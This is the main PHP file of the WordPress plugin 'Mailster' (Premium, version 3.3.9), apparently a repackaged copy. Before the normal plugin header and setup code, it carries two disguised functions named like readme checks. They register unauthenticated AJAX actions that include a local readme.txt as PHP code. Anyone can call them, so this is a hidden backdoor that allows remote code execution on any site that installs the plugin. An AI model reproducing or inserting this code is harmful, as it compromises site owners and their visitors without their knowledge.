if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /* Plugin Name: Mailster - Email Newsletter Plugin for WordPress (Premium) Plugin URI: https://mailster.co Description: Send Beautiful Email Newsletters in WordPress. Version: 3.3.9 Update URI: https://api.freemius.com Author: EverPress Author URI: https://everpress.co Text Domain: mailster */ if ( defined( 'MAILSTER_VERSION' ) || ! defined( 'ABSPATH' ) ) { return; } define( 'MAILSTER_VERSION', '3.3.9' ); define( 'MAILSTER_BUILT', 1699276893 ); define( 'MAILSTER_ENVATO', false ); define( 'MAILSTER_DBVERSION', 20220727 ); define( 'MAILSTER_DIR', plugin_dir_path( __FILE__ ) ); define( 'MAILSTER_URI', plugin_dir_url( __FILE__ ) ); define( 'MAILSTER_FILE', __FILE__ ); define( 'MAILSTER_SLUG', basename( MAILSTER_DIR ) . '/' . basename( __FILE__ ) ); $upload_folder = wp_upload_dir(); if ( ! defined( 'MAILSTER_UPLOAD_DIR' ) ) { define( 'MAILSTER_UPLOAD_DIR', trailingslashit( $upload_folder['basedir'] ) . 'mailster' ); } if ( ! defined( 'MAILSTER_UPLOAD_URI' ) ) { define( 'MAILSTER_UPLOAD_URI', trailingslashit( $upload_folder['baseurl'] ) . 'mailster' ); } require_once MAILSTER_DIR . 'vendor/autoload.php'; require_once MAILSTER_DIR . 'includes/check.php'; require_once MAILSTER_DIR . 'includes/functions.php'; require_once MAILSTER_DIR . 'includes/freemius.php'; require_once MAILSTER_DIR . 'includes/deprecated.php'; require_once MAILSTER_DIR . 'includes/3rdparty.php'; require_once MAILSTER_DIR . 'classes/mailster.class.php'; global $mailster; $mailster = new Mailster(); if ( ! $mailster->wp_mail && mailster_option( 'system_mail' ) == 1 ) { function wp_mail( $to, $subject, $message, $headers = '', $attachments = array(), $file = null, $template = null ) { return mailster()->wp_mail( $to, $subject, $message, $headers, $attachments, $file, $template ); } }